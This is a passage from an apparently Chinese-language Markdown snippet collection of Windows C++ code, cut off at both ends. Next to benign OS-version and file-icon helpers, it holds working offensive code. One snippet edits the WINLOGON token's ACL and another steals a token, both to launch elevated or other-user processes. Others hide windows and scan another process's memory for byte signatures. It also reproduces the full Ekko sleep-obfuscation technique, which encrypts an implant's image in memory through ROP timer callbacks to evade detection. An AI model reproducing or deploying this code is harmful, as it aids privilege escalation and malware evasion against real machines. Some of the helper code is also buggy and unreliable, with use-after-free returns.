printf("GetKernelObjectSecurity() = %d\n", GetLastError()); // bError = TRUE; // goto Cleanup; // } // } // // // 得到原安全描述符的访问控制列表 ACL // if (!GetSecurityDescriptorDacl(pOrigSd, &bDAcl, &pOldDAcl, &bDefDAcl)) // { // printf("GetSecurityDescriptorDacl() = %d\n", GetLastError()); // // bError = TRUE; // goto Cleanup; // } // // // 生成新 ACE 权限的访问控制列表 ACL // dwRet = SetEntriesInAclW(1, &ea, pOldDAcl, &pNewDAcl); // if (dwRet != ERROR_SUCCESS) // { // printf("SetEntriesInAcl() = %d\n", GetLastError()); // pNewDAcl = NULL; // // bError = TRUE; // goto Cleanup; // } // // if (!MakeAbsoluteSD(pOrigSd, // pNewSd, // &dwSDLen, // pOldDAcl, // &dwAclSize, // pSacl, // &dwSaclSize, // pSidOwner, // &dwSidOwnLen, // pSidPrimary, // &dwSidPrimLen)) // { // // 第一次调用给出的参数肯定返回这个错误,这样做的目的是 // // 为了创建新的安全描述符 pNewSd 而得到各项的长度 // if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) // { // pOldDAcl = (PACL)HeapAlloc(GetProcessHeap(), // HEAP_ZERO_MEMORY, // dwAclSize); // pSacl = (PACL)HeapAlloc(GetProcessHeap(), // HEAP_ZERO_MEMORY, // dwSaclSize); // pSidOwner = (PSID)HeapAlloc(GetProcessHeap(), // HEAP_ZERO_MEMORY, // dwSidOwnLen); // pSidPrimary = (PSID)HeapAlloc(GetProcessHeap(), // HEAP_ZERO_MEMORY, // dwSidPrimLen); // pNewSd = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), // HEAP_ZERO_MEMORY, // dwSDLen); // // if (pOldDAcl == NULL || // pSacl == NULL || // pSidOwner == NULL || // pSidPrimary == NULL || // pNewSd == NULL) // { // printf("Allocate SID or ACL to failed!\n"); // // bError = TRUE; // goto Cleanup; // } // // // 再次调用才可以成功创建新的安全描述符 pNewSd // // 但新的安全描述符仍然是原访问控制列表 ACL // if (!MakeAbsoluteSD(pOrigSd, // pNewSd, // &dwSDLen, // pOldDAcl, // &dwAclSize, // pSacl, // &dwSaclSize, // pSidOwner, // &dwSidOwnLen, // pSidPrimary, // &dwSidPrimLen)) // { // printf("MakeAbsoluteSD() = %d\n", GetLastError()); // // bError = TRUE; // goto Cleanup; // } // } // else // { // printf("MakeAbsoluteSD() = %d\n", GetLastError()); // // bError = TRUE; // goto Cleanup; // } // } // // // 将具有所有访问权限的访问控制列表 pNewDAcl 加入到新的 // // 安全描述符 pNewSd 中 // if (!SetSecurityDescriptorDacl(pNewSd, bDAcl, pNewDAcl, bDefDAcl)) // { // printf("SetSecurityDescriptorDacl() = %d\n", GetLastError()); // // bError = TRUE; // goto Cleanup; // } // // // 将新的安全描述符加到 TOKEN 中 // if (!SetKernelObjectSecurity(hToken, DACL_SECURITY_INFORMATION, pNewSd)) // { // printf("SetKernelObjectSecurity() = %d\n", GetLastError()); // // bError = TRUE; // goto Cleanup; // } // // // 再次打开 WINLOGON 进程的 TOKEN,这时已经具有所有访问权限 // if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken)) // { // printf("OpenProcessToken() = %d\n", GetLastError()); // // bError = TRUE; // goto Cleanup; // } // // // 复制一份具有相同访问权限的 TOKEN // if (!DuplicateTokenEx(hToken, // TOKEN_ALL_ACCESS, // NULL, // SecurityImpersonation, // TokenPrimary, // &hNewToken)) // { // //printf( "DuplicateTokenEx() = %d\n", GetLastError() ); // // bError = TRUE; // goto Cleanup; // } // // // ZeroMemory(&si, sizeof(STARTUPINFO)); // si.cb = sizeof(STARTUPINFO); // si.wShowWindow = SW_HIDE; // // // 不虚拟登陆用户的话,创建新进程会提示 // // 1314 客户没有所需的特权错误 // ImpersonateLoggedOnUser(hNewToken); // // // // 我们仅仅是需要建立高权限进程,不用切换用户 // // 所以也无需设置相关桌面,有了新 TOKEN 足够 // // // // 利用具有所有权限的 TOKEN,创建高权限进程 // if (!CreateProcessAsUserA(hNewToken, // g_TargetName, // NULL, // NULL, // NULL, // FALSE, // NULL, //NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // NULL, // NULL, // &si, // &pi)) // { // printf("CreateProcessAsUser() = %d\n", GetLastError()); // // bError = TRUE; // goto Cleanup; // } // // bError = FALSE; // //Cleanup: // if (pOrigSd) // { // HeapFree(GetProcessHeap(), 0, pOrigSd); // } // if (pNewSd) // { // HeapFree(GetProcessHeap(), 0, pNewSd); // } // if (pSidPrimary) // { // HeapFree(GetProcessHeap(), 0, pSidPrimary); // } // if (pSidOwner) // { // HeapFree(GetProcessHeap(), 0, pSidOwner); // } // if (pSacl) // { // HeapFree(GetProcessHeap(), 0, pSacl); // } // if (pOldDAcl) // { // HeapFree(GetProcessHeap(), 0, pOldDAcl); // } // // CloseHandle(pi.hProcess); // CloseHandle(pi.hThread); // CloseHandle(hToken); // CloseHandle(hNewToken); // CloseHandle(hProcess); // // if (bError) // { // return FALSE; // } void EnableDebugPriv() { HANDLE hToken = NULL; HANDLE hProcess = GetCurrentProcess();//该函数获取该进程的伪句柄 //权限可以填入 TOKEN_ALL_ACCESS 全部权限打开 OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);//打开自己进程的锁,hToken 返回的是信息的结构体 //记录的信息的结构体 TOKEN_PRIVILEGES tp = { 0 }; //查看进程里面的特权信息 返回值FALSE 失败 LookupPrivilegeValue(0, SE_SHUTDOWN_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //调用函数提升权限 调节进程的权限 AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); } HANDLE GetProcHandForUserName(char* UserName) { HANDLE hToken = NULL; HANDLE hProcessSnap = NULL; BOOL bRet = FALSE; PROCESSENTRY32 pe32 = { 0 }; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) return (FALSE); pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hProcessSnap, &pe32)) { do { if (pe32.th32ProcessID != 0 && pe32.th32ProcessID > 500) { //获取目标进程ID LPCTSTR ProName = GetProcessUserName(pe32.th32ProcessID); if (ProName != NULL) { if (!strcmp(UserName, ProName)) { return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); } } } } while (Process32Next(hProcessSnap, &pe32)); } return 0; } // Get domain name from session id bool GetSessionDomain(DWORD dwSessionId, WCHAR* domain) { LPTSTR pBuffer = NULL; DWORD dwBufferLen; BOOL bRes = WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, dwSessionId, WTSDomainName, &pBuffer, &dwBufferLen); if (bRes == FALSE) { printf("WTSQuerySessionInformation Fail!\n"); return false; } lstrcpy((LPSTR)domain, pBuffer); WTSFreeMemory(pBuffer); return true; } // Get username from session id bool GetSessionUserName(DWORD dwSessionId, WCHAR* username) { LPTSTR pBuffer = NULL; DWORD dwBufferLen; BOOL bRes = WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, dwSessionId, WTSUserName, &pBuffer, &dwBufferLen); if (bRes == FALSE) return false; lstrcpy((LPSTR)username, pBuffer); WTSFreeMemory(pBuffer); return true; } BOOL CreateProRemoteUser(DWORD RemSession, WCHAR* UserName, WCHAR* command_line, WCHAR* Param, BOOL Show) { HANDLE hTokenThis = NULL; HANDLE hTokenDup = NULL; DWORD dwResult = 0; //WTSGetActiveConsoleSessionId(); //hTokenDup = GetProcHandForUserName(UserName); hTokenDup = OpenProcess(PROCESS_ALL_ACCESS, FALSE,3800); if (!hTokenDup) { return 0; } if (!OpenProcessToken(hTokenDup, TOKEN_ALL_ACCESS, &hTokenThis)) { return 0; } //备份key DuplicateTokenEx(hTokenThis, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hTokenDup); //DWORD dwSessionId = RemSession; //与会话进行连接 //DWORD dwSessionId = WTSGetActiveConsoleSessionId(); //与会话进行连接 bool bRes; DWORD processId = GetCurrentProcessId();//当前进程id DWORD dwSessionId; if (!ProcessIdToSessionId(processId, &dwSessionId)) { exit(0); } bRes = SetTokenInformation(hTokenDup, TokenSessionId, &dwSessionId, sizeof(DWORD)); if (bRes) { //printf("Create->[%S]\n", command_line); return _CreateProcessByToken(hTokenDup, command_line, Param, Show); } return 0; } int _CreateProcessByToken(HANDLE Token, LPWSTR lpProcess, LPWSTR lParam, BOOL ShowWindow) { BOOL ret = FALSE; DWORD u_ExplorerPID; HANDLE hTokenUser = 0; STARTUPINFOW si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); si.cb = sizeof(STARTUPINFO); si.lpDesktop = wBuffer; if (ShowWindow == TRUE) { si.wShowWindow = SW_SHOW; } else { si.wShowWindow = SW_HIDE; } si.dwFlags = STARTF_USESHOWWINDOW /*|STARTF_USESTDHANDLES*/; char* ee = new char[0x300]{ 0 }; sprintf(ee, "[==Prarm===%S====]", lParam); ret = CreateProcessAsUserW(Token, (LPCWSTR)lpProcess, // (LPWSTR)lParam, //要执行的命令行 NULL, //指向SECURITY_ATTRIBUTES结构的指针,该 结构为新流程对象指定安全描述符 NULL, //指向SECURITY_ATTRIBUTES结构的指针,该结构为新线程对象指定安全描述符 FALSE, //是否可以继承 NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, //优先级 NULL, //指向新进程的环境块的指针如果此参数为NULL,则新进程将使用调用进程的环境 NULL, //进程当前目录的完整路径。该字符串还可以指定UNC路径 可为NULL &si, //用户必须对指定的Window Station和桌面都具有完全访问权限。如果您希望该过程是交互式的,请指定winsta0 \\ default。如果lpDesktop成员为NULL,则新进程将继承其父进程的桌面和窗口站。 &pi); //指向PROCESS_INFORMATION结构的指针,该 结构接收有关新进程的标识信息。 //printf("%d----%d----%x\n", pi.dwProcessId, GetLastError(), hTokenUser); return pi.dwProcessId; } wchar_t* Tool_CharToWchar(const char* c, size_t m_encode) { wchar_t* str; int len = MultiByteToWideChar(m_encode, 0, c, strlen(c), NULL, 0); wchar_t* m_wchar = new wchar_t[len + 1]; MultiByteToWideChar(m_encode, 0, c, strlen(c), m_wchar, len); m_wchar[len] = '\0'; str = m_wchar; delete m_wchar; return str; } char* Tool_WcharToChar(const wchar_t* wp, size_t m_encode) { char* str; int len = WideCharToMultiByte(m_encode, 0, wp, wcslen(wp), NULL, 0, NULL, NULL); char* m_char = new char[len + 1]; WideCharToMultiByte(m_encode, 0, wp, wcslen(wp), m_char, len, NULL, NULL); m_char[len] = '\0'; str = m_char; delete m_char; return str; } ``` ## Windows 版本判断 ```cpp #include <Windows.h> #include <string> #include <stdio.h> void getSystemName() { std::string vname; //先判断是否为win8.1或win10 typedef void(__stdcall* NTPROC)(DWORD*, DWORD*, DWORD*); HINSTANCE hinst = LoadLibrary(L"ntdll.dll"); DWORD dwMajor, dwMinor, dwBuildNumber; NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); proc(&dwMajor, &dwMinor, &dwBuildNumber); if (dwMajor == 6 && dwMinor == 3) //win 8.1 { vname = "Microsoft Windows 8.1"; printf_s("此电脑的版本为:%s\n", vname.c_str()); return; } if (dwMajor == 10 && dwMinor == 0) //win 10 { vname = "Microsoft Windows 10"; printf_s("此电脑的版本为:%s\n", vname.c_str()); return; } //下面判断不能Win Server,因为本人还未有这种系统的机子,暂时不给出 //判断win8.1以下的版本 SYSTEM_INFO info; //用SYSTEM_INFO结构判断64位AMD处理器 GetSystemInfo(&info); //调用GetSystemInfo函数填充结构 OSVERSIONINFOEX os; os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); #pragma warning(disable:4996) if (GetVersionEx((OSVERSIONINFO*)&os)) { //下面根据版本信息判断操作系统名称 switch (os.dwMajorVersion) { //判断主版本号 case 4: switch (os.dwMinorVersion) { //判断次版本号 case 0: if (os.dwPlatformId == VER_PLATFORM_WIN32_NT) vname = "Microsoft Windows NT 4.0"; //1996年7月发布 else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) vname = "Microsoft Windows 95"; break; case 10: vname = "Microsoft Windows 98"; break; case 90: vname = "Microsoft Windows Me"; break; } break; case 5: switch (os.dwMinorVersion) { //再比较dwMinorVersion的值 case 0: vname = "Microsoft Windows 2000"; //1999年12月发布 break; case 1: vname = "Microsoft Windows XP"; //2001年8月发布 break; case 2: if (os.wProductType == VER_NT_WORKSTATION && info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) vname = "Microsoft Windows XP Professional x64 Edition"; else if (GetSystemMetrics(SM_SERVERR2) == 0) vname = "Microsoft Windows Server 2003"; //2003年3月发布 else if (GetSystemMetrics(SM_SERVERR2) != 0) vname = "Microsoft Windows Server 2003 R2"; break; } break; case 6: switch (os.dwMinorVersion) { case 0: if (os.wProductType == VER_NT_WORKSTATION) vname = "Microsoft Windows Vista"; else vname = "Microsoft Windows Server 2008"; //服务器版本 break; case 1: if (os.wProductType == VER_NT_WORKSTATION) vname = "Microsoft Windows 7"; else vname = "Microsoft Windows Server 2008 R2"; break; case 2: if (os.wProductType == VER_NT_WORKSTATION) vname = "Microsoft Windows 8"; else vname = "Microsoft Windows Server 2012"; break; } break; default: vname = "未知操作系统"; } printf_s("此电脑的版本为:%s\n", vname.c_str()); } else printf_s("版本获取失败\n"); } //----从别的代码里抄的 void SetSystemInfo(__out char*NewSysName ,OSVERSIONINFOEX *Info) { switch (Info->dwMajorVersion) { case 4: { switch (Info->dwMinorVersion) { case 0: strcpy_s(NewSysName,20,"WinNT"); ++WinNT; break; case 10: strcpy_s(NewSysName,20,"Windows98"); //没有加98 ++WinNT; break; default: strcpy_s(NewSysName,20,"Unknow"); break; } } break; case 5: { switch (Info->dwMinorVersion) { case 0: //Win2000 strcpy_s(NewSysName,20,"Win2000"); ++Win2000; break; case 1: //WinXP strcpy_s(NewSysName,20,"WinXP"); ++WinXP; break; case 2: //Win2003 strcpy_s(NewSysName,20,"Win2003"); ++Win2003; break; default: //Unknow break; } } break; case 6: { switch (Info->dwMinorVersion) { case 0: if (Info->wProductType == VER_NT_WORKSTATION){ //Windows Vista strcpy_s(NewSysName,20,"Vista"); ++Vista; } else{ //Windows Server 2008 strcpy_s(NewSysName,20,"Win2008"); ++Win2008; } break; case 1: if (Info->wProductType == VER_NT_WORKSTATION) { //Win7 strcpy_s(NewSysName,20,"Win7"); ++Win7; } else{ //Windows 2008 R2 strcpy_s(NewSysName,20,"Win2008R2"); ++Win2008; } break; case 2: if (Info->wProductType == VER_NT_WORKSTATION) { //Windows 8 strcpy_s(NewSysName,20,"Win8"); ++Win8; } else{ //Windows Server 2012 strcpy_s(NewSysName,20,"Win2012"); ++Win2012; } break; case 3: if (Info->wProductType == VER_NT_WORKSTATION) { //Win8.1 strcpy_s(NewSysName,20,"Win8.1");//.1 ++Win8; } else { //Windows Server 2012 R2 strcpy_s(NewSysName,20,"Win2012_R2");//_R2 ++Win2012; } break; default: //Unknow break; } } break; case 10: { switch (Info->dwMinorVersion) { case 0: if (Info->wProductType == VER_NT_WORKSTATION) { strcpy_s(NewSysName,20,"Win10"); ++Win10; } else { if (Info->dwBuildNumber >= 17763){ strcpy_s(NewSysName,20,"Win2019"); ++Win2019; } else{ strcpy_s(NewSysName,20,"Win2016"); ++Win2016; } } break; default: strcpy_s(NewSysName,20,"Unknow"); break; } } break; default: strcpy_s(NewSysName,20,"Unknow"); break; } } ``` ## 判断计算机宽位 ```cpp bool is64BitOS() { typedef VOID(WINAPI *LPFN_GetNativeSystemInfo)(__out LPSYSTEM_INFO lpSystemInfo); LPFN_GetNativeSystemInfo fnGetNativeSystemInfo = (LPFN_GetNativeSystemInfo) GetProcAddress(GetModuleHandleW(L"kernel32"), "GetNativeSystemInfo"); if (fnGetNativeSystemInfo) { SYSTEM_INFO stInfo = { 0 }; fnGetNativeSystemInfo(&stInfo); if (stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64 || stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) { return true; } } else { throw std::runtime_error("Fail to get GetNativeSystemInfo function"); } return false; } ``` ## 系统版本 ```cpp /** \brief 获取Windows系统版本号 \param nMajor 输出:主版本号 \param nMinor 输出:次版本号 \param nBuildNum 输出:构建号 */ void getOsVersion(DWORD & nMajor, DWORD & nMinor, DWORD & nBuildNum) noexcept(false) { HINSTANCE hInst = LoadLibrary(TEXT("ntdll.dll")); if (NULL == hInst) { throw std::runtime_error("Fail to load ntdll.dll"); } else { /* 不进行任何操作 */ } typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*); NTPROC proc = (NTPROC)GetProcAddress(hInst, "RtlGetNtVersionNumbers"); if (NULL == proc) { FreeLibrary(hInst); throw std::runtime_error("Fail to load RtlGetNtVersionNumbers"); } else { /* 不进行任何操作 */ } proc(&nMajor, &nMinor, &nBuildNum); FreeLibrary(hInst); } ``` ## 系统版本 ```cpp #include <stdio.h> #include <windows.h> //操作系统版本 #define WINXP 51 #define WINXP2600 512600 #define WIN7 61 #define WIN77600 617600 #define WIN77601 617601 #define WIN8 62 #define WIN89200 629200 #define WIN81 63 #define WIN819600 639600 #define WIN10 100 #define WIN1010240 10010240 #define WIN1010586 10010586 #define WIN1014393 10014393 int main(void) { //定义变量 typedef LONG(__stdcall *fnRtlGetVersion)(PRTL_OSVERSIONINFOW lpVersionInformation); fnRtlGetVersion pRtlGetVersion; HMODULE hNtdll; LONG ntStatus; ULONG dwMajorVersion = 0; ULONG dwMinorVersion = 0; ULONG dwBuildNumber = 0; RTL_OSVERSIONINFOW VersionInformation = { 0 }; DWORD OsVersion; do { hNtdll = GetModuleHandle(L"ntdll.dll"); if (hNtdll == NULL)break; pRtlGetVersion = (fnRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion"); if (pRtlGetVersion == NULL)break; VersionInformation.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW); ntStatus = pRtlGetVersion(&VersionInformation); if (ntStatus != 0)break; dwMajorVersion = VersionInformation.dwMajorVersion; dwMinorVersion = VersionInformation.dwMinorVersion; dwBuildNumber = VersionInformation.dwBuildNumber; if (dwMajorVersion == 5 && dwMinorVersion == 1 && dwBuildNumber == 2600) OsVersion = WINXP2600; else if (dwMajorVersion == 5 && dwMinorVersion == 1) OsVersion = WINXP; else if (dwMajorVersion == 6 && dwMinorVersion == 1 && dwBuildNumber == 7601) OsVersion = WIN77601; else if (dwMajorVersion == 6 && dwMinorVersion == 1 && dwBuildNumber == 7600) OsVersion = WIN77600; else if (dwMajorVersion == 6 && dwMinorVersion == 1) OsVersion = WIN7; else if (dwMajorVersion == 6 && dwMinorVersion == 2 && dwBuildNumber == 9200) OsVersion = WIN89200; else if (dwMajorVersion == 6 && dwMinorVersion == 2) OsVersion = WIN8; else if (dwMajorVersion == 6 && dwMinorVersion == 3 && dwBuildNumber == 9600) OsVersion = WIN819600; else if (dwMajorVersion == 6 && dwMinorVersion == 3) OsVersion = WIN81; else if (dwMajorVersion == 10 && dwMinorVersion == 0 && dwBuildNumber == 10240) OsVersion = WIN1010240; else if (dwMajorVersion == 10 && dwMinorVersion == 0 && dwBuildNumber == 10586) OsVersion = WIN1010586; else if (dwMajorVersion == 10 && dwMinorVersion == 0 && dwBuildNumber == 14393) OsVersion = WIN1014393; else if (dwMajorVersion == 10 && dwMinorVersion == 0) OsVersion = WIN10; else { return FALSE; } } while (FALSE); printf("%d\n", OsVersion); getchar(); getchar(); return 0; } ``` ## 隐藏窗口 ```cpp void HideWindow() { HWND hwnd = GetForegroundWindow(); ShowWindow(hwnd, SW_HIDE); } #pragma comment( linker, "/subsystem:\"windows\"/entry:\"mainCRTStartup\"" ) 如果你建立了一个console程序的话,编译器得链接开关会是以下这种形式 /subsystem: "console " /entry: "mainCRTStartup " (ANSI) /subsystem: "console " /entry: "wmainCRTStartuup " (UNICODE) 如果你建立了一个win32 application,编译器得链接开关则会是一下形式 /subsystem: "windows " /entry: "WinMain " (ANSI) /sbusystem: "windows " /entry: "wWinMain " (UINCODE) 在默认情况下/subsystem 和/entry开关是匹配的,也就是 console对应mainCRTStartup或者wmainCRTStartup windows对应WinMain或者wWinMai void HideWindow(HWND hDlgWnd) { //隐藏窗口 WINDOWPLACEMENT wp; wp.length = sizeof(WINDOWPLACEMENT); wp.flags = WPF_RESTORETOMAXIMIZED; wp.showCmd = SW_HIDE; ::SetWindowPlacement(hDlgWnd, &wp); //或者 ::SetWindowLong(hDlgWnd, GWL_STYLE, GetWindowLong(hDlgWnd, GWL_STYLE) &~WS_EX_TOPMOST); ::SetWindowPos(hDlgWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE); } ``` ## 特征码搜索 ```cpp #include <stdio.h> #include <windows.h> #include <iostream> using namespace std; //参数分别为:进程句柄、特征码、偏移、读取长度、开始扫描位地置、扫描结束位置 uintptr_t hanshu_dizhi; //记录特征码对应的地址 uintptr_t ScanAddress(HANDLE process, char *markCode, int nOffset, unsigned long dwReadLen = 4, uintptr_t StartAddr = 0x400000, uintptr_t EndAddr = 0x7FFFFFFF, int InstructionLen = 0) { //************处理特征码,转化成字节***************** if (strlen(markCode) % 2 != 0) return 0; //特征码长度 int len = strlen(markCode) / 2; //获取代码的字节数 //将特征码转换成byte型 保存在m_code 中 BYTE *m_code = new BYTE[len]; for (int i = 0; i < len; i++) { //定义可容纳单个字符的一种基本数据类型。 char c[] = { markCode[i * 2], markCode[i * 2 + 1], '\0' }; //将参数nptr字符串根据参数base来转换成长整型数 m_code[i] = (BYTE)::strtol(c, NULL, 16); } //每次读取游戏内存数目的大小 const DWORD pageSize = 4096; /查找特征码/ //每页读取4096个字节 BYTE *page = new BYTE[pageSize]; uintptr_t tmpAddr = StartAddr; //定义和特征码一样长度的标识 int compare_one = 0; while (tmpAddr <= EndAddr) { ::ReadProcessMemory(process, (LPCVOID)tmpAddr, page, pageSize, 0); //读取0x400000的内存数据,保存在page,长度为pageSize //在该页中查找特征码 for (int i = 0; i < pageSize; i++) { if (m_code[0] == page[i])//有一个字节与特征码的第一个字节相同,则搜索 { for (int j = 0; j<len - 1; j++) { if (m_code[j + 1] == page[i + j + 1])//比较每一个字节的大小,不相同则退出 { compare_one++; } else { compare_one = 0; break; }//如果下个对比的字节不相等,则退出,减少资源被利用 } if ((compare_one + 1) == len) { // 找到特征码处理 //赋值时要给初始值,避免冲突 uintptr_t dwAddr = tmpAddr + i + nOffset; uintptr_t ullRet = 0; ::ReadProcessMemory(process, (void*)dwAddr, &ullRet, dwReadLen, 0); //cout<<dwAddr<<endl; //这里的dwAddr已经对应的是搜索到的地址 //地址输出的也是10进制 需要转化为16进制 hanshu_dizhi=dwAddr;//记录地址 if (InstructionLen) { ullRet += dwAddr + dwReadLen; } return ullRet; } } } tmpAddr = tmpAddr + pageSize - len;//下一页搜索要在前一页最后长度len 开始查找,避免两页交接中间有特征码搜索不出来 } return 0; } int main(){ HWND hWnd; hWnd=FindWindow(NULL,"Tutorial-i386"); DWORD PID; GetWindowThreadProcessId(hWnd,&PID); HANDLE lsProcess; lsProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID); cout<<ScanAddress(lsProcess,"2983AC0400008D45D4",0)<<endl; //2983AC0400008D45D4对应下图的0x0042578F地址的特征码 cout<<hanshu_dizhi<<endl; return 0; } ``` ## 获取文件夹属性 ```cpp #include <windows.h> #include <iostream> // 获取文件图标 HICON fileIcon(std::string extention) { HICON icon = NULL; if (extention.length() > 0) { LPCSTR name = extention.c_str(); SHFILEINFOA info; if (SHGetFileInfoA(name, FILE_ATTRIBUTE_NORMAL, &info, sizeof(info), SHGFI_SYSICONINDEX | SHGFI_ICON | SHGFI_USEFILEATTRIBUTES)) { icon = info.hIcon; } } return icon; } // 获取文件类型 std::string fileType(std::string extention) { std::string type = ""; if (extention.length() > 0) { LPCSTR name = extention.c_str(); SHFILEINFOA info; if (SHGetFileInfoA(name, FILE_ATTRIBUTE_NORMAL, &info, sizeof(info), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES)) { type = info.szTypeName; } } return type; } // 获取文件夹图标 HICON folderIcon() { std::string str = "folder"; LPCSTR name = str.c_str(); HICON icon = NULL; SHFILEINFOA info; if (SHGetFileInfoA(name, FILE_ATTRIBUTE_DIRECTORY, &info, sizeof(info), SHGFI_SYSICONINDEX | SHGFI_ICON | SHGFI_USEFILEATTRIBUTES)) { icon = info.hIcon; } return icon; } // 获取文件夹类型 std::string folderType() { std::string str = "folder"; LPCSTR name = str.c_str(); std::string type; SHFILEINFOA info; if (SHGetFileInfoA(name, FILE_ATTRIBUTE_DIRECTORY, &info, sizeof(info), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES)) { type = info.szTypeName; } return type; } ``` ## 另一种方式实现Sleep ```cpp #include <windows.h> #include <stdio.h> typedef struct { DWORD Length; DWORD MaximumLength; PVOID Buffer; } USTRING; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 ) #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) VOID EkkoObf(DWORD SleepTime); int __cdecl wmain(int argc, WCHAR** argv) { puts("[*] Ekko Sleep Obfuscation by C5pider"); do // Start Sleep Obfuscation EkkoObf(4 * 1000); while (TRUE); return 0; } VOID EkkoObf(DWORD SleepTime) { CONTEXT CtxThread = { 0 }; CONTEXT RopProtRW = { 0 }; CONTEXT RopMemEnc = { 0 }; CONTEXT RopDelay = { 0 }; CONTEXT RopMemDec = { 0 }; CONTEXT RopProtRX = { 0 }; CONTEXT RopSetEvt = { 0 }; HANDLE hTimerQueue = NULL; HANDLE hNewTimer = NULL; HANDLE hEvent = NULL; PVOID ImageBase = NULL; DWORD ImageSize = 0; DWORD OldProtect = 0; // 可以随机生成 CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 }; USTRING Key = { 0 }; USTRING Img = { 0 }; PVOID NtContinue = NULL; PVOID SysFunc032 = NULL; hEvent = CreateEventW(0, 0, 0, 0); hTimerQueue = CreateTimerQueue(); NtContinue = GetProcAddress(GetModuleHandleA("Ntdll"), "NtContinue"); SysFunc032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032"); ImageBase = GetModuleHandleA(NULL); ImageSize = ((PIMAGE_NT_HEADERS)((char*)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage; Key.Buffer = KeyBuf; Key.Length = Key.MaximumLength = 16; Img.Buffer = ImageBase; Img.Length = Img.MaximumLength = ImageSize; if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD)) { WaitForSingleObject(hEvent, 0x32); memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT)); memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT)); memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT)); memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT)); memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT)); memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT)); // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); RopProtRW.Rsp -= 8; RopProtRW.Rip = (DWORD64)VirtualProtect; RopProtRW.Rcx = (DWORD64)ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE; RopProtRW.R9 = (DWORD64)&OldProtect; // SystemFunction032( &Key, &Img ); RopMemEnc.Rsp -= 8; RopMemEnc.Rip = (DWORD64)SysFunc032; RopMemEnc.Rcx = (DWORD64)&Img; RopMemEnc.Rdx = (DWORD64)&Key; // WaitForSingleObject( hTargetHdl, SleepTime ); RopDelay.Rsp -= 8; RopDelay.Rip = (DWORD64)WaitForSingleObject; RopDelay.Rcx = (DWORD64)NtCurrentProcess(); RopDelay.Rdx = SleepTime; // SystemFunction032( &Key, &Img ); RopMemDec.Rsp -= 8; RopMemDec.Rip = (DWORD64)SysFunc032; RopMemDec.Rcx = (DWORD64)&Img; RopMemDec.Rdx = (DWORD64)&Key; // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); RopProtRX.Rsp -= 8; RopProtRX.Rip = (DWORD64)VirtualProtect; RopProtRX.Rcx = (DWORD64)ImageBase; RopProtRX.Rdx = (DWORD64)ImageSize; RopProtRX.R8 = PAGE_EXECUTE_READWRITE; RopProtRX.R9 = (DWORD64)&OldProtect; // SetEvent( hEvent ); RopSetEvt.Rsp -= 8; RopSetEvt.Rip = (DWORD64)SetEvent; RopSetEvt.Rcx = (DWORD64)hEvent; puts("[INFO] 队列计时器"); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, 